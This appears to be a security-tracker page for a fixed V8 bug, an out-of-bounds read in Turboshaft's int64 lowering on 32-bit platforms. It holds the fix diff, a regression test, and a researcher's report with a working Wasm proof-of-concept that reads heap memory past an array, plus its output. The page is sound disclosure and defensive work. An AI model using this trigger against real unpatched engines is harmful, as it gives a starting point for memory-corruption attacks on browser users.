Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds memory access in V8
DescriptionOut of bounds memory access in V8
ComponentV8
Bug ClassOOB
Tracker502030575
Fix commit7c165d90f080 (v8/v8) +67/-13
CISA KEVNot listed
CreditedJunYoung Park(@candymate) of KAIST Hacking Lab
Disclosed2026-05-05

Files Changed

  • src/compiler/turboshaft/int64-lowering-reducer.h
  • test/mjsunit/regress/wasm/regress-502030575.js
From 7c165d90f0800b78c92fd0c13690e7b40683026a Mon Sep 17 00:00:00 2001
From: Matthias Liedtke <[email protected]>
Date: Tue, 14 Apr 2026 16:31:35 +0200
Subject: [PATCH] [wasm] 32 bit platforms: Fix int64 lowering for 'invalid' offsets

The logic for the case !LoadOp::OffsetIsValid() was not correct.

Fixed: 502030575
Change-Id: I81692e2bb7cc15f85911c0110b84ae3a66189d53
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7758773
Auto-Submit: Matthias Liedtke <[email protected]>
Reviewed-by: Darius Mercadier <[email protected]>
Commit-Queue: Matthias Liedtke <[email protected]>
Cr-Commit-Position: refs/heads/main@{#106481}
---

diff --git a/src/compiler/turboshaft/int64-lowering-reducer.h b/src/compiler/turboshaft/int64-lowering-reducer.h
index 1cad223..2eb3a97 100644
--- a/src/compiler/turboshaft/int64-lowering-reducer.h
+++ b/src/compiler/turboshaft/int64-lowering-reducer.h
@@ -308,10 +308,10 @@
     FATAL("%s", str.str().c_str());
   }
 
-  std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(OptionalV<Word32> index,
-                                                       int32_t offset,
-                                                       int32_t add_offset,
-                                                       bool tagged_base) {
+  std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(
+      OptionalV<Word32> index, int32_t offset, int32_t add_offset,
+      uint8_t element_size_log2, bool tagged_base) {
+    uint32_t element_size = 1 << element_size_log2;
     // Note that the offset will just wrap around. Still, we need to always
     // use an offset that is not std::numeric_limits<int32_t>::min() on tagged
     // loads.
@@ -321,13 +321,17 @@
         static_cast<uint32_t>(offset) + static_cast<uint32_t>(add_offset);
     OptionalV<Word32> new_index = index;
     if (!LoadOp::OffsetIsValid(new_offset, tagged_base)) {
-      // We cannot encode the new offset so we use the old offset
-      // instead and use the Index to represent the extra offset.
-      new_offset = offset;
+      // We cannot encode the new offset because it has the one invalid value.
+      // We can choose any other value and the only requirement is that we end
+      // up at the same final location after calculating
+      // |  index * element_size + offset
+      // So we'll just subtract "one element" and increase the index by one.
+      // We could do this for almost any arbitrary value larger than 0.
+      new_offset -= element_size;
       if (index.has_value()) {
-        new_index = __ Word32Add(new_index.value(), add_offset);
+        new_index = __ Word32Add(new_index.value(), 1);
       } else {
-        new_index = __ Word32Constant(sizeof(int32_t));
+        new_index = __ Word32Constant(1);
       }
     }
     return {new_index, new_offset};
@@ -360,8 +364,8 @@
     }
     if (loaded_rep == MemoryRepresentation::Int64() ||
         loaded_rep == MemoryRepresentation::Uint64()) {
-      auto [high_index, high_offset] =
-          IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
+      auto [high_index, high_offset] = IncreaseOffset(
+          index, offset, sizeof(int32_t), element_scale, kind.tagged_base);
       return __ MakeTuple(
           Next::ReduceLoad(base, index, kind, MemoryRepresentation::Int32(),
                            RegisterRepresentation::Word32(), offset,
@@ -405,8 +409,8 @@
                         maybe_initializing_or_transitioning,
                         maybe_indirect_pointer_tag);
       // high store
-      auto [high_index, high_offset] =
-          IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
+      auto [high_index, high_offset] = IncreaseOffset(
+          index, offset, sizeof(int32_t), element_size_log2, kind.tagged_base);
       Next::ReduceStore(
           base, high_index, high, kind, MemoryRepresentation::Int32(),
           write_barrier, memory_order, high_offset, element_size_log2,
diff --git a/test/mjsunit/regress/wasm/regress-502030575.js b/test/mjsunit/regress/wasm/regress-502030575.js
new file mode 100644
index 0000000..f0fd90b
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-502030575.js
@@ -0,0 +1,50 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let builder = new WasmModuleBuilder();
+let array_type = builder.addArray(kWasmI64);
+
+// For 32 bit platforms:
+// Choose a big constant offset, so that when adding the constant wasm array
+// header offset and the extra offset for the 2nd i32 load we end up with a
+// value that exactly equals INT32_MIN (which is the singular value that
+// returns false for LoadOp::OffsetIsValid()).
+const BIG_CONST = 0xFFFFFFE;
+const WASM_ARRAY_HEADER = 12; // map + hash + array size (subject to change)
+const SECOND_LOAD_OFFSET = 4
+const INT32_MIN = 1 << 31;
+assertEquals(
+  (BIG_CONST * 8 + WASM_ARRAY_HEADER + SECOND_LOAD_OFFSET) | 0,
+  INT32_MIN);
+let testValue = 0x1234_5678_90ab_cdefn;
+
+builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
+  .addLocals(wasmRefNullType(array_type), 1)
+  .addBody([
+    // Create an array with a single value
+    ...wasmI32Const(1),
+    kGCPrefix, kExprArrayNewDefault, array_type,
+    kExprLocalTee, 1,
+    // Write a value at offset 0.
+    kExprI32Const, 0,
+    ...wasmI64Const(testValue),
+    kGCPrefix, kExprArraySet, array_type,
+    // Read the value at offset 0 by having the index calculation
+    // (BIG_CONST - BIG_CONST). The i32.const in the code will be folded into
+    // the offset of the load.
+    kExprLocalGet, 1,
+    kExprLocalGet, 0,
+    ...wasmI32Const(BIG_CONST),
+    kExprI32Add,
+    kGCPrefix, kExprArrayGet, array_type,
+  ])
+  .exportFunc();
+
+let instance = builder.instantiate();
+let result = instance.exports.test(-BIG_CONST);
+assertEquals(testValue, result);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/wasm/regress-502030575.js b/test/mjsunit/regress/wasm/regress-502030575.js
new file mode 100644
index 0000000..f0fd90b
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-502030575.js
@@ -0,0 +1,50 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let builder = new WasmModuleBuilder();
+let array_type = builder.addArray(kWasmI64);
+
+// For 32 bit platforms:
+// Choose a big constant offset, so that when adding the constant wasm array
+// header offset and the extra offset for the 2nd i32 load we end up with a
+// value that exactly equals INT32_MIN (which is the singular value that
+// returns false for LoadOp::OffsetIsValid()).
+const BIG_CONST = 0xFFFFFFE;
+const WASM_ARRAY_HEADER = 12; // map + hash + array size (subject to change)
+const SECOND_LOAD_OFFSET = 4
+const INT32_MIN = 1 << 31;
+assertEquals(
+  (BIG_CONST * 8 + WASM_ARRAY_HEADER + SECOND_LOAD_OFFSET) | 0,
+  INT32_MIN);
+let testValue = 0x1234_5678_90ab_cdefn;
+
+builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
+  .addLocals(wasmRefNullType(array_type), 1)
+  .addBody([
+    // Create an array with a single value
+    ...wasmI32Const(1),
+    kGCPrefix, kExprArrayNewDefault, array_type,
+    kExprLocalTee, 1,
+    // Write a value at offset 0.
+    kExprI32Const, 0,
+    ...wasmI64Const(testValue),
+    kGCPrefix, kExprArraySet, array_type,
+    // Read the value at offset 0 by having the index calculation
+    // (BIG_CONST - BIG_CONST). The i32.const in the code will be folded into
+    // the offset of the load.
+    kExprLocalGet, 1,
+    kExprLocalGet, 0,
+    ...wasmI32Const(BIG_CONST),
+    kExprI32Add,
+    kGCPrefix, kExprArrayGet, array_type,
+  ])
+  .exportFunc();
+
+let instance = builder.instantiate();
+let result = instance.exports.test(-BIG_CONST);
+assertEquals(testValue, result);
Loading diff…

Original Bug Report

reported by [email protected]

V8: Incorrect Address Computation in Int64LoweringReducer via IncreaseOffset element_scale Mishandling

Summary

A bug in Turboshaft’s Int64LoweringReducer::IncreaseOffset on 32-bit platforms (ia32, ARM) causes incorrect address computation when splitting 64-bit loads into two 32-bit loads. When element_scale > 0 and the offset+4 wraps to INT32_MIN for tagged-base loads, the fallback path adds 4 to the index instead of the offset — but the element_scale is still applied to the modified index, causing the high word to be loaded from base + (index+4)*scale + offset instead of base + index*scale + offset + 4. For i64 arrays (element_scale=3), this creates a 28-byte address error (4*8 - 4 = 28), reading the high word from adjacent heap memory past the WasmGC array.

NOTE: I’m reporting this as Type:Bug because 1) I cannot change the address offset (only offset of 28 is possible), 2) load/store occurs in benign area, and 3) WASM memory is anyway guarded by guard pages.

Bug

Summary

The IncreaseOffset function in Int64LoweringReducer does not account for element_scale when falling back to adding the offset increment to the index. When MachineOptimizationReducer folds a large constant from an i32.add index computation into the Load offset (reaching INT32_MAX - 3), the subsequent IncreaseOffset(offset, 4) call for the high-word load overflows to INT32_MIN, which is invalid for tagged-base loads. The fallback adds 4 to the index, but since element_scale=3 is still applied, the high word is loaded from an address 28 bytes too far. The same bug also affects the REDUCE(Store) path (line 363-406), which uses the same IncreaseOffset function to split 64-bit stores.

Detail

The bug exists in the interaction between MachineOptimizationReducer (constant folding) and Int64LoweringReducer (64-bit to 32-bit splitting):

Step 1: WasmLoweringReducer emits Load with element_scale=3

WasmGC array.get on an i64 array is lowered to a Load with element_scale = value_kind_size_log2(i64) = 3 and offset = WasmArray::kHeaderSize = 12:

// src/compiler/turboshaft/wasm-lowering-reducer.h:358
return __ Load(array, __ ChangeInt32ToIntPtr(index), load_kind,
               RepresentationFor(array_type->element_type(), is_signed),
               WasmArray::kHeaderSize,                              // offset = 12
               array_type->element_type().value_kind_size_log2());  // element_scale = 3

Step 2: MachineOptimizationReducer folds constants into the offset

// src/compiler/turboshaft/machine-optimization-reducer.h:2732-2744
} else if (const WordBinopOp* binary_op =
               index_op.TryCast<WordBinopOp>()) {
  if (binary_op->kind == WordBinopOp::Kind::kAdd &&
      TryAdjustOffset(offset, matcher_.Get(binary_op->right()),
                      *element_scale, tagged_base)) {
    index = binary_op->left();
    continue;  // element_scale is PRESERVED
  }
}

When the Wasm code computes array.get(arr, param + 268435454), the constant 268435454 is folded into the offset via TryAdjustOffset (line 2646-2670), which multiplies by 1 << element_scale: offset = 12 + 268435454 * 8 = 2147483644 (which is INT32_MAX - 3). Crucially, element_scale remains 3.

TryAdjustOffset validates this new offset passes LoadOp::OffsetIsValid(2147483644, true), which checks offset >= INT32_MIN + kHeapObjectTag = INT32_MIN + 1 — this succeeds.

Step 3: Int64LoweringReducer splits the i64 load

// src/compiler/turboshaft/int64-lowering-reducer.h:347-358
if (loaded_rep == MemoryRepresentation::Int64() || ...) {
  auto [high_index, high_offset] =
      IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
  return __ MakeTuple(
      Next::ReduceLoad(base, index, kind, ..., offset, element_scale),
      Next::ReduceLoad(base, high_index, kind, ..., high_offset, element_scale));
      //                                                         ^^^^^^^^^^^^^ BUG
}

Step 4: IncreaseOffset triggers the fallback

// src/compiler/turboshaft/int64-lowering-reducer.h:297-320
std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(OptionalV<Word32> index,
                                                     int32_t offset,
                                                     int32_t add_offset,
                                                     bool tagged_base) {
  int32_t new_offset =
      static_cast<uint32_t>(offset) + static_cast<uint32_t>(add_offset);
  // new_offset = 2147483644 + 4 = 2147483648 → wraps to INT32_MIN as int32_t
  OptionalV<Word32> new_index = index;
  if (!LoadOp::OffsetIsValid(new_offset, tagged_base)) {
    // INT32_MIN < INT32_MIN + 1 → invalid for tagged loads
    new_offset = offset;  // keep original offset
    if (index.has_value()) {
      new_index = __ Word32Add(new_index.value(), add_offset);
      // Adds 4 to the INDEX — but element_scale=3 will be applied later!
    }
  }
  return {new_index, new_offset};
}

IncreaseOffset is unaware of element_scale. When it adds 4 to the index, the subsequent Load applies element_scale=3, making the effective byte offset 4 * 8 = 32 instead of the intended 4.

Address computation:

  • Low word (correct): base + index*8 + 2147483644
  • High word (buggy): base + (index+4)*8 + 2147483644 = base + index*8 + 32 + 2147483644
  • High word (correct): base + index*8 + 2147483644 + 4
  • Error: 32 - 4 = 28 bytes

Trigger Conditions

  1. 32-bit platform (ia32 or ARM) — Int64LoweringReducer only runs on 32-bit
  2. WasmGC i64 arrayelement_scale=3 and tagged_base=true
  3. Array index computed as Add(variable, large_constant) — enables partial constant folding (the constant is folded into the offset while the variable remains as the index with element_scale preserved)
  4. Constant value of exactly (INT32_MAX - 3 - kHeaderSize) / 8 = 268435454 — produces offset INT32_MAX - 3, so adding 4 wraps to INT32_MIN
  5. Function compiled with Turboshaft (occurs through tier-up after ~40K calls, or immediately with --no-liftoff)

Version

Reproduced Version

  • main branch latest commit (2026/04/13): 3daaa64319f
  • V8 14.9.0

Bisect

The bug was introduced by the following commit, which added the IncreaseOffset function to handle offset overflow when splitting 64-bit loads:

commit e4e12c9ebff42aaf1fd6725396d132ae058fd8c6
Author: Matthias Liedtke <[email protected]>
Date:   Thu Jun 13 12:45:48 2024 +0200

    [wasm][turboshaft] Fix Load offset overflow in Int64Lowering

    Same as https://crrev.com/c/5608453 but for the LoadOp.
    The offset may be any value excluding int32 min for tagged loads.

    Fixed: 346505953
    Bug: 344014332
    Change-Id: I716e578d1ccd659203b1c739e77b56e3cb2bd4b0
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/5626025
    Cr-Commit-Position: refs/heads/main@{#94430}

This commit was intended to fix a different offset overflow issue (crbug 346505953) but introduced this new bug: the IncreaseOffset fallback path does not account for element_scale when adding to the index. The existing regression test (test/mjsunit/regress/wasm/regress-346505953.js) only tests that an out-of-bounds access traps — it does not test the fallback path with a variable index and element_scale > 0.

Reproduction Case

Two versions are provided: Version 1 uses --no-liftoff for instant reproduction; Version 2 triggers through natural tier-up (no special flags).

Release Build

Version 1 (with --no-liftoff):

out/ia32.release/d8 --no-liftoff poc.js

Result (ia32 release):

BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

The high word reads from offset 44 while the 1-element array ends at offset 20 (kHeaderSize + 1*8), confirming the high word is read from 24 bytes past the array allocation. The value 0x0 is whatever happened to be in adjacent heap memory.

Version 2 (natural tier-up, no flags):

out/ia32.release/d8 poc.js

Result (ia32 release):

BUG DETECTED on iteration 52252!
Expected: 0x1111111100000001
Got:      0x100000001
Low word:  0x1
High word: 0x1
High word read from offset 44 — 24 bytes past the 20-byte array end

Result (ARM release, with --no-liftoff):

BUG DETECTED on iteration 35795!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

On x64, the bug does NOT reproduce (Int64LoweringReducer does not run on 64-bit platforms):

out/x64.release/d8 --no-liftoff poc.js
# Output: No bug detected (function may not have tiered up to Turboshaft)

Debug Build

out/ia32.debug/d8 --no-liftoff poc.js

Result (ia32 debug):

BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x-21524110ffffffff
Low word:  0x1
High word: 0xdeadbeef
High word read from offset 44 — 24 bytes past the 20-byte array end

The leaked high word 0xdeadbeef is V8’s debug zap value for uninitialized/freed memory, confirming the read reached into adjacent uninitialized heap memory.

Note: No DCHECK fires for this bug because the inputs to IncreaseOffset are individually valid — the error is semantic (element_scale is not considered), not a simple bounds violation.

PoC Code

// PoC: Int64LoweringReducer IncreaseOffset incorrect address computation
// Affects: 32-bit platforms (ia32, ARM) when compiled with Turboshaft
// Bug: High word of i64 loaded from wrong address (28 bytes off)
//
// Run with: out/ia32.release/d8 --no-liftoff poc.js
//       or: out/ia32.release/d8 poc.js  (triggers via natural tier-up)

d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");

let builder = new WasmModuleBuilder();
let array_type = builder.addArray(kWasmI64);

// This constant causes MachineOptimizationReducer to fold it into the Load offset:
// offset = kHeaderSize + BIG_CONST * 8 = 12 + 268435454*8 = 2147483644 = INT32_MAX-3
// Adding 4 for the high word wraps to INT32_MIN, triggering the IncreaseOffset bug
const BIG_CONST = 268435454;

builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
  .addLocals(wasmRefNullType(array_type), 1)
  .addBody([
    // Create array of 1 i64 element (20 bytes total).
    // Correct high word: offset 16 (within array).
    // Buggy high word:   offset 44 (24 bytes PAST array end).
    ...wasmI32Const(1),
    kGCPrefix, kExprArrayNewDefault, array_type,
    kExprLocalSet, 1,

    // Set element 0 = 0x1111111100000001 (low=0x00000001, high=0x11111111)
    kExprLocalGet, 1,
    ...wasmI32Const(0),
    ...wasmI64Const(0x1111111100000001n),
    kGCPrefix, kExprArraySet, array_type,

    // Read element at index (param + BIG_CONST)
    // When param=-BIG_CONST, effective index=0, bounds check passes
    // But high word is read from offset 44 — 24 bytes past the array end
    kExprLocalGet, 1,
    kExprLocalGet, 0,
    ...wasmI32Const(BIG_CONST),
    kExprI32Add,
    kGCPrefix, kExprArrayGet, array_type,
  ])
  .exportFunc();

let instance = builder.instantiate();

let expected = 0x1111111100000001n;
let bugDetected = false;

// Call enough times to trigger tier-up to Turboshaft
for (let i = 0; i < 100000; i++) {
  let result = instance.exports.test(-BIG_CONST);
  if (result !== expected) {
    print("BUG DETECTED on iteration " + i + "!");
    print("Expected: 0x" + expected.toString(16));
    print("Got:      0x" + result.toString(16));
    print("Low word:  0x" + (result & 0xFFFFFFFFn).toString(16));
    print("High word: 0x" + ((result >> 32n) & 0xFFFFFFFFn).toString(16));
    print("High word read from offset 44 — 24 bytes past the 20-byte array end");
    bugDetected = true;
    break;
  }
}

if (!bugDetected) {
  print("No bug detected (function may not have tiered up to Turboshaft)");
}

Suggested Patch

File: src/compiler/turboshaft/int64-lowering-reducer.h

@@ -347,6 +347,13 @@
     if (loaded_rep == MemoryRepresentation::Int64() ||
         loaded_rep == MemoryRepresentation::Uint64()) {
+      // When element_scale > 0, fold it into the index before splitting.
+      // IncreaseOffset adds to the index on fallback, but the element_scale
+      // would still be applied, causing an incorrect address for the high word.
+      if (element_scale > 0 && index.has_value()) {
+        index = __ Word32ShiftLeft(index.value(), element_scale);
+        element_scale = 0;
+      }
       auto [high_index, high_offset] =
           IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
       return __ MakeTuple(

The fix normalizes element_scale to 0 by folding the shift into the index before splitting the 64-bit load. This ensures IncreaseOffset’s fallback path (adding to the index) produces a correct byte-level offset of +4, regardless of whether the offset increment goes to the offset field or the index. The atomic code paths (lines 326-338) already correctly pre-fold element_scale in the same way. The same fix should be applied to the REDUCE(Store) handler (line 388-400) which has the identical bug.

View on issue tracker